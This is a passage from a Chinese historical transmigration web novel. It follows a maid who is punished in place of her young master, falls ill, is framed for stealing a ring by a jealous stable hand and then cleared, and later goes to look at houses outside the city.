祝谣抹了把嘴,跑着放好梳洗用具,老实地落下半步,跟在婵娟身后。
“对了,不知你这几日有见过我哥哥吗?他在马厩做活,有脚疾,偶尔会来皓月堂给我送点心吃,只是性子不大讨喜,如果不小心得罪你了,还请不要生气,我替他先向你道歉了。”婵娟揪着帕子,侧身忧心道。
牛成何德何能,有这么好的妹妹?真是鲜花插在了牛粪旁。
祝谣隐去牛成自恋的作态,只说:“……是见过一回,但那时候我头有些昏沉,也没大和他说话,他瞧着人还不错,主动介绍了自己的身份,便去寻郎君磕头请安了。姑娘的话我记下了,晚点我和茯苓也说一声。”
观察来观察去,婵娟只觉她的神情不似作假,也不像是对哥哥生出多余好感的。
那么是哪个丫鬟与哥哥往来甚密,还让哥哥动了娶回家的心思?
郎钰早睡,但是并不早起,依他的话说:早起也没虫吃,晚起就能把早膳和午膳连着一齐吃,倒给家中节省粮食了。
可苏氏下令,又拿捏住了钱袋子,直到昨日他才听说,请的夫子更是迂腐古板,要是学生学问做的不好,哪管你是皇亲贵胄,板子说打就打!
还好郎钰也留有后手,当初他挑小厮的时候,特意选了机灵的,这些年学到的知识,也能勉强应对夫子罢?
到时候蝉儿只用在一旁给他扇扇风、磨磨墨……
“郎君,该上学了,夫子已经到了五书斋。”小厮在外提醒道。
郎钰来到镜前,左侧侧,右动动,看得顺眼了,这才端着架势,迎门而出。
*
五书斋的周围种满翠竹,偶尔竹叶摩挲,沙沙作响,东南角辟了个小池塘,养着几尾锦鲤和几盆荷花。
闲来读书,伴着此景,好生雅致,但孔夫子猛地将书拍到几案上的声响,打破了和谐宁静的局面。
“你若是不想学,老夫也不奉陪,老夫这就去向苏夫人禀明,是二公子不愿学,并非老夫之过!”
小厮赶紧拦着他,劝道:“夫子莫恼,郎君只是还未习惯早起,集中不了精神,并非故意和您作对!”
郎钰翘着二郎腿,并不言语,只是见祝谣也一齐跪在地上,扯了扯她的衣服,让她起身。
祝谣还是分得清事情轻重的,若是孔夫子被气走了,苏氏明面上会指责郎钰,但实际上舍不得下狠心动亲儿一根汗毛,那么必定会迁怒于他身边的奴仆。
她不起身,但也不能由着郎钰这般不尊师重道,于是给郎钰使眼色,向孔夫子赔个不是,这个小风波就过去了。
两人挤眉弄眼了一番,郎钰却读不懂她的意思,还
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觉得祝谣是故意逗他开心,心里熨帖,面上眉开眼笑的。
孔夫子本来是要顺着小厮的台阶下来,扭头便见郎钰根本没把他当一回事,还跟个丫鬟眉来眼去的,气得胡子翘了起来,歘地抄起戒尺:“若要老夫留下,那老夫不得不把规矩立起来!二公子,你不敬师长,拒不认错,伸出手来!”
这回小厮是拼尽了全力也无法阻止孔夫子,只能回头给祝谣使眼色。
祝谣当然明白,主子要受罚,他们这些做奴才的该顶上去,替主子受皮肉之苦。
她咬咬牙,跪到孔夫子脚下,掌心向上地伸出双手:“都是奴婢的错,奴婢没有尽责劝诫郎君,还请夫子惩罚奴婢。”
闻言,郎钰下意识要站起来,骂骂这个老不死的夫子,尽在他面前逞威风,然而被小厮及时拦住,凑到耳边道:“郎君,你若是要为蝉儿好,就不要再和夫子犟了,否则,到时候捅到夫人那儿,夫人也饶不了她的。”
仿佛咽了团棉花,泡在咽喉里,黏湿又厚重,郎钰神色一僵,由着小厮摁着他坐回原味。
戒尺在空中挥出士兵摇旗的气势,重重地打在祝谣脆弱的掌心,一道道触目的红痕随之显现,俄而肿起了鼓包。
郎钰只见祝谣初时还有力气稳住高抬的双手,到了后来,越打越低,虽然闷声不吭,但后背上被汗液洇湿的水痕,似波纹正肉眼可见地一圈圈朝外扩散。
他如坐针毡般上完了余下的课,死死拽着自己那屡次要往外飞的头绪。
孔夫子布置完功课,得了郎钰一声“夫子慢走”,遂昂首背手离去。
祝谣满额头都是汗,双手红肿热痛,止不住地轻微颤抖,只等着郎钰放话,她好回去上药。
踌躇着的郎钰忽而不知该如何开口,攥着折扇的手紧又松,松了又紧。
及至小厮跑着拿回化瘀消肿膏,他才轻声关心道:“你……”
祝谣抿了抿唇,打断他,垂首恭敬道:“奴婢恳请郎君,允许奴婢回房擦药。”
郎钰的目光落到她的手上:“好、好,文福,你跟着蝉儿,把药膏送过去。”
方想再叮嘱几句,祝谣却行了礼,截断他的话头,更是在经过他时,保持着面对面躬身的姿态。
郎钰心一跳,手比脑子快,一下抓住祝谣的手腕。
“嘶!”祝谣疼得倒吸了一口凉气——即使郎钰避开了尺痕,神经是相连的。
她真的真的快要憋不住破口大骂了!
郎钰倏地松手,不知所措道:“我并非有心的!”
祝谣忍着痛道:“奴婢在此谢过郎君,但奴婢房中还有药,不劳郎君送药了。奴婢同夫人一样,只求郎君上进,便万事大吉了。”尔后哪管他有什么反应,先行走了。
被她的话钉在原处的郎钰半天说不出话,只怔怔地看着门外。
文福琢磨着不大对劲,还是好说歹说,才劝动失魂落魄的郎钰回去。
26. 第二十六章
掌中火辣辣的疼,祝谣先是跑去山泉池,将手放在水流出口下方,冰凉的泉水汩汩涌流,虽治标不治本,但能缓解几分灼热的痛感。
她来这异世十几载,还是头一回吃了无妄的皮肉之苦。
说不难受不埋怨是假的,但一个富家子弟,要同他讲什么人人平等,简直异想天开。
他或许真心诚意想和自己亲近,可这般认为的她也令自己觉得好笑。
今天代他受罚便是最好的例子,巴掌上红痕一片。
祝谣回想这些日子以来与郎钰的相处,似乎交往过密了,更何况她未来还要逃离天龙人的巢穴。
郎钰相貌俊朗,还出身瑞国公府……祝谣蓦地抓住了其中的关窍,向系统追问道:“系统,郎钰是书中围绕在女主身边的男配之一吗?”
好半晌过去,系统未有回话。
祝谣蹲到小腿微微发麻,猜到系统装哑巴是因为不能剧透。
她主动开口道:“我知道郎钰是男配之一了。我记得我的任务是只需要负责助攻原书男女主欢好,要是男配或者女配的不按原剧情走,不需要我兜底吧?”
系统重新响起声音:“不需要。”
这就是变相承认郎钰是男配之一了。
既然如此,那她也不必担心郎钰会节外生枝了,反正到最后都是珍珠的裙下之臣。
思绪回神,祝谣提了口气起身,站着等腿麻的劲儿过去。
离了山泉水冰镇的掌心开始发烫,却显得愈加殷红,只隔着一层薄皮,底下血瘀斑斑。
她不是受了伤会先掉眼泪的性子,即使真的克制不住泪意,脑袋也会很清醒地迅速转动起来。
祝谣心疼自己,一步不带停的跑回厢房,然后在门前的石板上,看到一盒珐琅彩瓷盒。
是文福送来的药罢。
那不要白不要,祝谣还不至于迁怒于这等好东西。
不过鉴于她暂时抽不出手来拾起,只动脚把它挪到门里边,就暂且不管了。
祝谣带来的包袱里,除了装有换洗的衣服,还有连翘塞给她的一大堆药膏。
“有备无患总是好的,我按颜色给你分好了——白色的是治跌打损伤,蓝色的是治头疼咳嗽,红色的可以消肿止痛、活血化瘀……我都在上面黏了字条。”
祝谣手上不能用力,用嘴叼出药盒和纱布,咬开盒盖,已是出了一身汗。
她去把背阳的那扇窗牖打开,这才坐下,尝试着给自己上药。
然而手掌上没一块好肉,她也不可能用舌头上药,不出片刻,便只能对着桌上的药物干瞪眼。
此时,“吱呀”一声轻响,在祝谣听来,犹如天籁之音。
茯苓扶着门框微微垂首,眸含秋水地望着地面,腮颊泛红,唇角翘起些微弧度。
“茯苓。”祝谣幽幽唤道。
可是陷入自己思绪中的人就像装睡的人,几乎叫不醒。
祝谣走到茯苓面前,抬起手:“能帮我上点药吗?”
被晃了眼睛的茯苓,视线自然而然地落到少年举起的红肿的手心上,瞬时惊呼道:“这是怎么回事?”
“长话短说,郎二公子气倒夫子,我代他受罚,手就成了这样。”
茯苓带着祝谣坐下,凑近又看了看,不忍道:“每个十天半个月是好不了了,好在我们平日也不用干什么粗活。”
“这是膏药吗?我给你涂。”
祝谣点点头。
膏药里加了薄荷,涂上去没多久便泛起清凉,茯苓的指尖擦过,带起一阵刺痛。
“蝉儿,你有没有觉得……郎二公子对你有些不同?”茯苓抬眼。
都是情窦初开的年纪,她们刚来皓月堂时,婵娟紧张得跟什么似的,她不信祝谣察觉不到。
“是不同,但是主子对下人的青睐,有时候并不算好事,再者我是要回侯府的。你放心,我生是侯府的人,死是侯府的鬼。”祝谣义正言辞道。
“你、唉,要是能借着一时的喜欢,赚尽够下半辈子生活的金银,这才好呢。”茯苓恨铁不成钢道。
祝谣转了转眼眸,定在她脸上:“这么说,你找到未来的夫君了?你这几日总是不见人影,是去忙什么了?”
心事被戳破,茯苓面颊有些发热,手上不禁用了些力:“胡说什么!不过是见他会说好话哄我,我才给他些面子。”
祝谣吸气抽痛道:“是是是,你轻点。是哪个院的,你以后还要回去侯府吗?”
“严格上来说,他不在主子跟前当差。”茯苓给她裹上纱布,“肯定是回的,我爹我娘都在侯府,他要是真的非我不可,那就他追着我去侯府!”
“好了,这几日的膳食我给你提回来,你记得手上别沾水,换药就喊我。”
“多谢茯苓。”祝谣笑道,“你像我亲姐。”
“你可长点心罢!我瞧你也不是个笨的,那郎二爷瞧着倒没那般无耻混蛋,不过既然你只求安稳,那得把握好分寸,既不要过于亲近,又不要太过生疏惹恼了他。”茯苓捏了捏她的脸,“有应付不来的地方,尽管问我,我还算有点小聪明,咱俩凑起来想法子,总好过一个人纠结。”
祝谣举起裹成粽子一样的手,左右看了看:“我饿了。”
“等着!”
*
“成儿,怎么样了?这事行得通吗?我心里总觉得有些慌,可又说不出来哪里不对劲。”牛母拉住他,“要不、要不这事就算了。你妹妹说得对,她现在赚得也不少,我们该知足了,再说你、你要那么多钱也是去赌的……”
牛成打断她,不耐道:“饥一顿饱一顿,和餐餐饱那是一回事吗?况且本来就打算好的,让妹妹做上姨娘,临到头变卦,你甘心吗?煮熟的鸭子飞了,我不甘心!”
“那、那你有把握吗?夫人那儿会信你吗?”牛母担忧道。
“有句话叫宁可信其有,不可信其无,夫人宝贝着二爷,不过一个下人,主子要处置,还要看她背后有谁作靠山吗?”
牛成停下抖动的脚:“东西我都放进去了,等明个一早,我就去向夫人禀明。本来大清早的,气血不足就易脾气暴躁,待我那么一说,夫人准要她好看!”
婵娟回来时,便见哥哥和牛母都在屋内坐着,只是一个胸有成竹,一个面色紧张,看到她还发虚地躲避视线,心
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想:哥哥又闯祸了。
“今个不忙,这么早就回来了?”牛母两手擦了擦围裙,迎上去道。
“夫子给二爷留了一堆课业,谁都不许进去打扰他。”婵娟解下腰间的香囊,“我这里边还有点散碎银子,娘拿去罢。”
牛母见女儿看了看儿子,知她想差了,接过她给的孝敬,有些意动,想把儿子的盘算交代出来。
牛成眼睛尖,瞅到自己老娘的神情,就知道她要漏嘴,一个起身,抓过香囊,吊儿郎当道:“还是亲妹对哥好,知道哥不够钱花了。”
“哥!你也收点心罢,别整日让娘为了你操心。”婵娟面色难看道。
“我怎么不是在做正经事?”牛成神秘兮兮道,“我最近正琢磨着呢,只要干成了,你可欠我一个大人情。”
“什么事?你要带嫂子上门了?”
婵娟那日看到哥哥和一个丫鬟凑到一起说话,虽是背对着她,但两人挨得很近。
“什么嫂子?”牛母诧怪道,“成儿,你别是——”
“瞎猜什么?要是我真要娶媳妇,还会瞒着你们不成?都忙去罢。”牛成起身挥手,径自去了里间躺下,睡个回笼觉。
婵娟蹙眉看向牛母:“娘,你们有什么事瞒着我吗?”
牛母支吾半天,才憋出一句:“不是坏事,姑娘家的,别那么好奇。”
*
祝谣夜晚洗澡又是艰辛。
她只能拜托茯苓帮忙擦手,不承想茯苓擦着擦着起了玩心,这挠挠,那摸摸,倒把她洗得发热。
更糟糕的还在后头,半夜开始,祝谣发热了。
等她有了模糊的意识之后,身上温度已经朝着滚烫炽热的程度奔去,祝谣蹬开被子,彻底陷入昏睡。
茯苓只和她隔了一臂距离,本来睡得香甜,朦胧之中感觉抱了个大火炉,推了祝谣一把,嘟囔道:“热死了。”
双手摸了摸,发现自己身上盖着两层被子,立马踢下多余的那张,倒更加清醒了些。
茯苓不满地抱上祝谣手臂,强行让自己睡过去,半晌,突然觉得不对劲。
她睁眼便探手摸了下祝谣的额头——蝉儿发高烧了!
茯苓再无睡意,匆匆再探了探,披上外衣,就去打了凉水,蘸湿巾布,搭在了祝谣的额头上。
她出去时,只见天边刚刚泛起光亮,再等一个时辰,府医应该就得空了。
茯苓又给祝谣盖上双层被子,这是娘教给她的,没钱抓药就熬着出场大汗,过后能很快好起来。
忙了好一会儿,茯苓有些困意,遂趴在桌上小憩。
“砰砰砰!”
当朝晖洒满国公府时,厢房门外来了三五嬷嬷。
茯苓不过慢了半拍,领头的嬷嬷喊了起来:“我们可是奉夫人之命,蝉儿姑娘这是给脸不要脸了?!”
门一打开,巴掌差点打到茯苓脸上。
那嬷嬷略无愧意,推了茯苓一把,带着后头的嬷嬷全部挤了进去。
“你们这是做什么!”茯苓急道。
“搜!”领头嬷嬷仰着头道,“二爷丢了个扳指,别处都找过了,只剩这儿还没找。”
27. 第二十七章
“别处找过了?整个皓月堂那么大,我怎么一点动静都没听到?”茯苓自觉他们来者不善,跑去站在祝谣身前,斥声道,“再说二爷的扳指丢了,你们怎么就确认会在我们这?”
“在不在,不是茯苓姑娘说得算。”领头嬷嬷气势十足,只随意扫了她一眼。
其他嬷嬷翻箱倒柜,不出一刻钟,齐齐摇头。
领头嬷嬷一皱眉,四下逡巡了一番,最后定在茯苓身上,松开眉头,皮笑肉不笑道:“姑娘,我看你是宁远侯府的人,先把好话放在前头,你肯让开位置给我们搜查,那就皆大欢喜,若是不肯,我可要连你一起抓了去。”
一起?难道她们是专门来抓走蝉儿的?
“嬷嬷是非抓人不可吗?”茯苓心口直快地问道。
领头嬷嬷见她聪明,猜中了情形,威吓道:“这国公府里,国公爷不理事,全是夫人在打理,难不成你要对堂堂国公夫人不敬?”
“奴婢不敢。”茯苓忍着情绪,低下头。
其他嬷嬷得了令,立即在炕上摩挲起来,也将盖在祝谣身上的被子掀开,几双手摸来摸去。
祝谣意识早已坠入火海,仿佛一具活尸,做不出任何反应,嬷嬷们即便摸出她浑身发烫,也不予理会。
领头嬷嬷嗤笑道:“这是哪位姑娘?倒是睡得香。”
最后扳指是在茯苓枕下找出来的。
“找到了!找到了!快看看,是不是二爷丢的那枚?”
茯苓微瞪双眸,那是牛成赠给她的,当时她还觉得这扳指虽说用料乃上品,但瞧着瑕疵不少,有些旧,不知多少人戴过,还觉嫌弃。
她被做局了?!
“是二爷那枚。将她带走!”领头嬷嬷指着床上的祝谣吩咐道。
茯苓诧怪非常,分明从她枕下搜出的物件,却是带走另一人,而且从一开始就打算带走蝉儿,背后的人图什么?
她咬了咬牙,趁着嬷嬷给祝谣套衣裳的空隙,溜了出去。
*
祝谣被扔进小黑屋时,已经半梦半醒。
她只依稀记得,自己像是被一群人抓着前肢,拖着走的猪,因为晕乎乎的,不自觉咧了嘴,看上去笑得愈发像是两百斤的孩子。
然后她就趴到了地上,铺了软毯,还有股好闻的熏香。
祝谣觉得脑袋嗡嗡响,下颌被人抬起,整张脸都冒着热气,差点咬到自己的舌头。
至于迷蒙视线里,那个坐在高位、珠翠满头的贵妇人阿巴了甚麽,她的耳朵一概当作沙砾过滤掉,半点没入耳。
只是话说不明白,也不要生气嘛。
祝谣脸着地,指甲扣着地面,没有木屑,没有厚重的灰土,这间小黑屋倒是干净。
……
祝谣再醒来时,浑身湿得好似是从水里被捞出来的。
她出了很多汗,大抵是类比打不死的小强般的体质发挥了作用,这么一来,她倒觉得烧得没那么难受了。
祝谣仰躺在地上,愣愣地望着房顶。
这算不算带薪休假?
思绪一闪而过,祝谣难能放空思绪,一动不动的。
屋内甚麽多余的家具都未置放,只有刷得苍白的墙和开的很高的小窗。
她想喝水了。
“叩叩叩。”
祝谣初时未对细碎的声响做出回应。
虽然这里空荡荡的,也没什么好啃的,但老鼠和蟑螂最爱这种阴暗泛潮的地方,过来歇脚也说不准。
“蝉儿姐姐?”
眼睫微动,祝谣稍微转过头去。
门底没有封死,还透了些许光线进来。
“是谁?”她试着开口,嗓子哑了,充血的肌肉互相牵扯出痛意。
“我是小荷,那天蝉儿姐姐和茯苓姐姐帮我搬了给鱼缸换了水。”
“你来这里…没被人发现吗?”祝谣气虚,吐字困难道。
小荷细声道:“没有,外头晒得很,嬷嬷们也遭不住。我带了些水来,蝉儿姐姐还有力气吗?”
学着咸鱼翻了个身,祝谣眼冒金星,脑子像是被肆意搅和了一通。
“等等。”祝谣缓了口气,四脚并用过去,“你知道夫人要关我到什么时候吗?”
小荷低落道:“我也不知道……茯苓姐姐寻了二爷求助,但是二爷去了学堂读书,现在还没回来呢。”
这不算坏消息。
祝谣想,他去了反倒火上浇油了也说不定,毕竟她只是个丫鬟,他那么上心,苏夫人或许要多虑了。
“没事。”祝谣继续爬着,离门口又近了一点。
“可是、可是那枚扳指确实是二爷的,要是他不发话,姐姐可能要挨板子的。”
唉,真是流年不利,万一真的挨了打,后续养伤又得花钱了。
祝谣好不容易喝了几口水,缓了半天,倚着门堪堪滑倒地上,转念一想,不忘安抚小荷道:“死不了就好,不用担心,我是侯府的丫鬟,没有铁证,夫人不会动我。小荷啊,要是晚上我还出不去,可就拜托你送些吃的来了,到时候我把剩下的饴糖全送给你。”
“好,那我先走了,我看看能不能弄些汤药来。要是嬷嬷来了,蝉儿姐姐你千万别和她们对着干,她们手上都带着银针,扎人可疼了!”
容嬷嬷?
“嗯,小心些。”
祝谣回完,倒头就是睡。
*
郎钰梦魇了。
场景是在学堂上,一束白光投射到前方。
蝉儿跪在光圈里,一道模糊的高大的黑影,重复着挥动戒尺,每当戒尺落下,无数漂浮的尘灰激动地跳跃,拍中掌心的脆响逐渐沉钝起来。
脚上仿佛圧了千斤坠,郎钰拼命要站起来,始终无果。
他开口让黑影停下,也无人搭理他。
郎钰精疲力尽,喘着气,却见蝉儿扭过头,平静地看着他,吐出两个字:“废物。”
郎钰猛然睁眼,清晨那稍显和煦的日光透射进来,映亮了卧房。
他摸了把额头,一把汗。
“二爷在吗?我有要事禀明!”
“茯苓姑娘这是怎么了?二爷且睡着,小声些。”文福拉着茯苓,想走开点,却反被推开手。
郎钰随意系好衣裳,亲去开了门,见茯苓满脸急色,向文福问道:“院里出什么事了?”
文福忆起夫人院里的嬷嬷们气势汹汹的架势,一时语塞。
茯苓瞪了文福一眼,急忙回道:“二爷,您有枚扳指被偷了,夫人不知听信了哪个小人的谣言,下令让嬷嬷将蝉儿抓走了!”
郎钰方踏出半步,瞬时自我遏制了冲动。
那群嬷嬷油盐不进,只听令于母亲,被府中其他家奴称为“铁娘子军”,能让母亲派出她们,那她便是动了怒。
他此刻去要求放人,只会搅得这水更浑。<
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p>“你先回去。”郎钰毫不在意,转而吩咐文福道,“叫水来,可以让小厨房上早膳了。今日我要早些去听课。”
茯苓被挡在门外,文福朝她俯身道:“姑娘请。”顿时气得跺脚,扭脸便走。
郎钰不受影响,懒散地来到学堂,坐在位子上,等着孔夫子来。
他算不清,母亲这是第几回将手伸到自己院里来了,总是对他展现出过度的控制欲。
幼时他喜欢鸟儿,喜欢刚出生只会奶呼呼吠叫的小狗,镇日与它们相伴,虽不至于同吃同睡,但母亲甚是不喜他在膳间分享它们带给自己的喜悦。
不久,他又没有了这群朋友。
蝉儿和它们不一样,能够说人话,给他的感觉却有些相似——看着他时,眼神很纯粹,像是扒开他身上顶着的作为国公府一份子的名号,只看到他这个人。
“上课!”
郎钰坐实椅子,并不赏脸给孔夫子,便又是一出色厉内荏的闹戏。
这回没有蝉儿在前边,文福替他受罚。
看着文福一把眼泪一把鼻涕,郎钰冷然地望过去,只把文福噎得再不敢叫唤。
……
下了课,郎钰去给苏氏请安。
及至橘黄色的夕阳铺就天幕,苏氏自己忍不住,说道:“你院里出了个小贼,偷了你的扳指,怎生不恼?”
“什么扳指?”郎钰换了个姿势,啜了口茶,伸手道,“是我手上戴的这只吗?”
苏氏定眼一瞧,招呼常妈妈过来,比对了下:“这怎么有两只一模一样的?”
“当年牛成从马车底下救了我一命,母亲你便将这对扳指,送出去一只,您不记得了吗?”郎钰平静道。
苏氏与常妈妈对视一眼,不悦道:“我倒是听说,那侯府来的蝉儿,与你很是亲近?你还为了她,冷落婵娟。”
当日瞧着多么老实本分的一个丫鬟,竟能到内室伺候钰儿,也不知使了什么手段。
郎钰一本正经道:“文福没告诉您吗?蝉儿最是寡言,那日饮酒,醉意催化,我便同长庚打赌,若我能将她教得舌灿莲花,他欠我一个人情。”
“真的?”苏氏心神全放在最后半句话上了。
裴执鹤是谁?那是离天家最近的外戚,如若得了他一个人情,于钰儿将来是大有好处的。
到底是年轻,不过醉酒,就许下诺言。
这文福竟瞒着这等事?
即便确实过于儿戏,但苏氏还是将心中的天平倾向了亲儿。
那鹤儿前不久还幸了个通房,开了荤,保不准这什么蝉儿,就是他存了心思送来,弄些新花样的。
男人都是一个样。
苏氏的眼尾掠过发抖的文福,又觉有些拉不下面子,便板着脸道:“那孔夫子学识修养那是洛都数一数二的好,却被你气得不行,再这般下去,怕是我都拦不住他要走了。”
母亲还是这样,从不正面回应自己的过错。
郎钰放下无甚滋味的茶盏。
当然这样最好,省下与牛成当众对峙的功夫,待会蝉儿应能被放出来了。
“我今日可没还嘴。”他掸了掸衣服,“我还有课业要做,便不陪母亲用膳了。”
“去罢,文福留下。”
苏氏见郎钰走远,面色一沉:“叫牛成过来,我倒要好好问问他,摆出个贼喊捉贼的戏码出来,还要把我算计进去,这是要做什么?”
28. 第二十八章
祝谣是在一阵鸟语花香当中转醒的。她的额头垫了巾布,凉丝丝的,还有一双秀手正给她擦着汗液。
她是上天堂了吗?
热意散去,虽还有些发虚,但是精神已大好。
祝谣掀开眼皮,只见天光大亮,眼前是茯苓在照顾她。
“茯苓,谢谢。”她喉咙些微嘶哑道。
茯苓脸上显而易见地露出笑容:“你醒啦!”
转而有些难以启齿道:“其实是我该谢谢你,我这回也被算计,害了你!”
祝谣便听茯苓忿忿地讲述这个局是由牛成设计的。
他为了保住妹妹婵娟的通房预备位,视她为眼中钉,于是借着一枚旧扳指,冤枉她行偷窃之举,好被赶回侯府。
但祝谣起得比鸡早,不是跟在郎钰身边,就是窝在房中,实在找不到机会直接下手,便退而求其次选了茯苓。
“个王八羔子!之前说那么多花言巧语,都是骗我的!”一提起就一把火,茯苓重重地拍了下桌子。
“夫人惩治他了没?”祝谣给她顺毛道,“早点看清这么个人,也不枉我进黑屋一遭了。”
茯苓双手一叉,环于胸前,冷哼一声:“夫人让他哪来的,滚回到哪去——带上他老娘,回去夫人的娘家了!由奢入俭难,他还跛了只脚,且等着苦日子罢!”
祝谣清了下嗓子,茯苓生气归生气,还是关注着她,递了杯温水。
喉咙久旱逢甘霖,祝谣眉头舒展开来,好奇道:“那你先前怎么瞧得上他的?”
“他……”茯苓撇了撇嘴,“他还挺舍得花钱的,送那枚扳指前,还送了我一盒桃花粉、一只螺子黛和一只据他说是自己刻的木钗。”
“那他走了你难过吗?”祝谣蛄蛹着坐起身,对着她左看看,右看看,最后问道。
茯苓疑惑道:“我难过什么?才认识多久,我巴不得吹着喇嘛送他离开。”
她晓得祝谣是担心她感情上头,哭哭啼啼对牛成不离不弃,遂笑了笑道:“放心好了,我本来也没有多瞧得上他,要不是拿人手软,我才懒怠装出一副温柔的模样同他说话。”
“不提他了,睡了一天,你觉得怎么样?”
“腰不酸了,腿不疼了,一口气能上六楼。只是我还想问问,养病不会扣我月钱罢?”祝谣两眼亮晶晶地看着她。
此时门被敲响,婵娟的声音传了进来:“蝉儿醒了吗?”
茯苓挑眉道:“正好,你问她罢。”
婵娟探病并不是空手而来,祝谣只见她像小叮当一样,掏出了药膏、一盒檀粉、一支点翠簪。
“蝉儿,我代我哥哥来向你道歉。”她蹲下身,露出纤颈,以仰视地姿态望着祝谣。
“一开始我的确忌惮你和茯苓的到来,会抢了我二爷身边的位子,如果不是我和娘说了自己的担忧,也不会叫哥哥听去,反过来累及你们……但我真的没想过做这般下流的暗算。”
祝谣握上她的手,捏了捏,软若无骨:“不用替你兄长道歉,我只接受你自己对我的歉意和补偿。
你的担忧并没有促使你做出害人的算计,你应该也是被瞒在鼓里的罢?
婵娟,你还要继续给他擦屁股吗?你有夫人的看重,二爷的信赖,还有院里其他丫鬟的喜欢,你只顾自己,是能够过得非常快活的。”
“我……”
窗外射进一束亮光,照在祝谣的发丝、腮颊,以及那双澄澈的眼眸。
即使泪水倏地盈满眼眶,婵娟也还是能从一片汪洋中,辨认出散发着辉芒的少年,明亮却不刺眼,温润细无声。
“我知道了。”婵娟破涕为笑,回握住祝谣的手,有了力量。
“哎呀,搞得这么煽情做什么?婵娟,你只消保证蝉儿的月钱不会被扣,那她绝对和你毫无芥蒂。”茯苓见气氛好转,调侃道。
婵娟肯定道:“不会扣的,我保证,而且你想何时结束养病都可。这是二爷吩咐我带给你的话。”
祝谣大大方方接下赔偿:“谢过二爷。待我身子大好,若二爷不嫌弃,我再去伺候他。”
送来的物件她也都收下了,卸下身上背负着的大山的婵娟,走时像镀了层曦光,神清气爽。
“怎么?”茯苓凑过来,“你对郎二公子还有心思?”
“什么心思啊?肉汤也得跟在靠山旁才能喝上,我们来这一瑞国公府,总不能什么也没赚到罢?”祝谣打了个哈欠,咻地躺下,“先睡了哈,回见!”
*
待掌心的淤青看着没那般渗人之后,祝谣回岗了。
郎钰依旧点了她陪同上学,两人见面似乎同从前没什么变化,但郎钰晓得,她在自己心目中的分量又重了几分。
他不想刨根挖地,非得掰扯清楚,这其中的感情是出于情爱还是怜惜。
至少他认为自己在蝉儿面前,不再那般高高在上,不再毫无顾忌,就连关心的话,他也担心自己一旦问了出来,便会使二人的相处陷入尴尬的境地。
如同含了颗青涩的果子,他即使吞不下去,也不想咬得破碎。
祝谣抱着九死一生的悲壮心情,陪着郎钰听了整整一天之乎者也。
她也不是九漏鱼,怎么知识到了耳边,就是听不进去?
祝谣归咎于孔夫子照本宣科,为了炫技而讲课,并非是她愚笨。
文福被调去外州铺面做活,新来的小厮叫文静,人如其名,极会看主子的脸色,见郎钰未有回皓月堂的意思,便老老实实站在堂外,也不催促。
郎钰装模作样写了会儿课业,实则偷瞄着祝谣。
他睄到祝谣捏着墨锭的指头并未用上多少力气,应当是还没好全,致使磨出的墨,像乌鸡汤般,有点颜色但是稀的。
郎钰拿着豪笔,点着纸张,斑斑点点落在本已写好的文章上面,狗啃似的。
“不写了!”他团起纸张,丢到一旁,“我歇会儿,你不用磨了。”
祝谣听令,却是半句话未出,只悄悄将手背过去,松动关节。
郎钰推开窗扉,一约坐上了窗台,将不学无术演示得淋漓尽致。
“蝉儿,过来。”
祝谣垂首走了过去。
“你瞧,那些鸟儿你见过吗?”
“那是棕头鸦雀,羽翼是棕红色的;那是黑枕黄鹂,眼眶那有道黑纹,像戴了眼罩似的。”
“快看快看,这是白腰文鸟,胸腹洁白,毛绒绒的,我幼时摸过。”
……
他指着蓝天白云下自由飞翔的鸟儿,说得绘声绘色。
祝谣决心和他保持距离的意念坚持不了一会儿,便被他娓娓道来的鸟雀科普吸引了过去。
她仰头看得入迷,总觉得日后自己也能成为其中不受拘束的一只。
文静听到自家二爷嘴皮子动个不停,竟没淬毒,回头看了一眼。
只见二爷胆大地支了腿,随性地坐在窗台上,那丫鬟就在他身边,向往地望着天穹。
渐渐地,声音慢了下来,轻了下来,二爷的目光如同雪花似的,摇曳着落到丫鬟的乌髻,再往下,便显得有了几分情动……
文静立即收回视线,心口直跳。
*
估摸在瑞国公府待了一月,祝谣和茯苓便要回去了。
这回郎钰也跟着去,道是好友生辰将近,到侯府热闹热闹。
苏夫人自无不可,帮着收拾了大包小包,叮嘱他不可空手上门。
回侯府前夕,祝谣想法子又出了趟门。
原本和牙人约着三五日后去看房,现时过了有大半个月,该是有几个房源可以挑选了。
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祝谣凭着记忆来到那间布置得很是清丽温馨的民居,摇动响铃。
片刻后,顾茂生掀开帘子,面上带着和煦的笑意:“您来了。客人今日是来看房的吗?”
祝谣料想他必是读过书的,祖上兴许还阔过,每回见他,衣料虽不是上等的绸缎,但穿在他板正的身形上,永远是干干净净,清清爽爽的。
走在炎炎夏日的街道上,若是见之男子皆如他这般,也不会热得火冒三丈了。
“是,酉时前我都有时间,劳你带路了。”祝谣颔首道。
“姑娘客气了。”顾茂生带着祝谣来到后院,指着牛车道,“您要的房子皆在城外,这是鄙人养的牲口,正值壮年,可省了叫车的费用,只路上或有尘土,不晓得姑娘能否接受?”
只是脏了些而已,祝谣乐得省钱。
顾茂生连同他家老奴,一行三人架着牛车出了城,路上但凡见到同他打招呼的,祝谣都凑过去聊几句。
这般见到她的人多,若是顾茂生怀有歹心,预备下手,也得掂量掂量。
除了留心安全,祝谣关注最多的,便是街边的摊贩上。
桥上、堤边、酒楼前、城门旁是人流聚集之地,来往有做苦力的伙夫,有拎着篮子挑菜的妇人,有追着分糖的孩童……现实版清明上河图,不外如是。
嗅着蒸肉的香气,祝谣随着牛车,摇摇晃晃地出了城门。
如果脱了奴籍,做点吃食生意维生倒是可以考虑考虑。
在是做手抓饼,还是狼牙土豆,抑或香煎豆腐/臭豆腐的纠结中,牛车在第一间民房前停了下来。
路程离城门很近,不过半刻钟,自然吸引了许多“洛飘”人在此暂定跟脚。
祝谣打量了四下,房屋与房屋之间挨得很近,勉强够单个成人穿行。
他们正停好牛车,一个肌肉虬结、面相凶煞的青年,身后带着三五混混经过。
“顾先生,又带人来看房啊?”
“是。”顾茂生镇定自若地递了点银钱,浅笑道,“有劳秦兄日夜巡视。”
青年掂了掂银子,露出一口白牙,拍了顾茂生一掌:“老子可听不惯你这文绉绉的话!行了,俺们就不打扰你们了。弟兄们,喝酒去!”
祝谣只见顾茂生勉强稳住身形,扶正幞头,推开大门,敬业地向她介绍道:“姑娘应也看到了这边的人土风情,鄙人不多口舌。您若是只租住,一年十两,若整座买下,二十两可行,但不包任何家具、住前修缮等等……”
祝谣甚至未做考虑,三人便继续在颠簸中前往第二处民居,又是半刻钟左右。
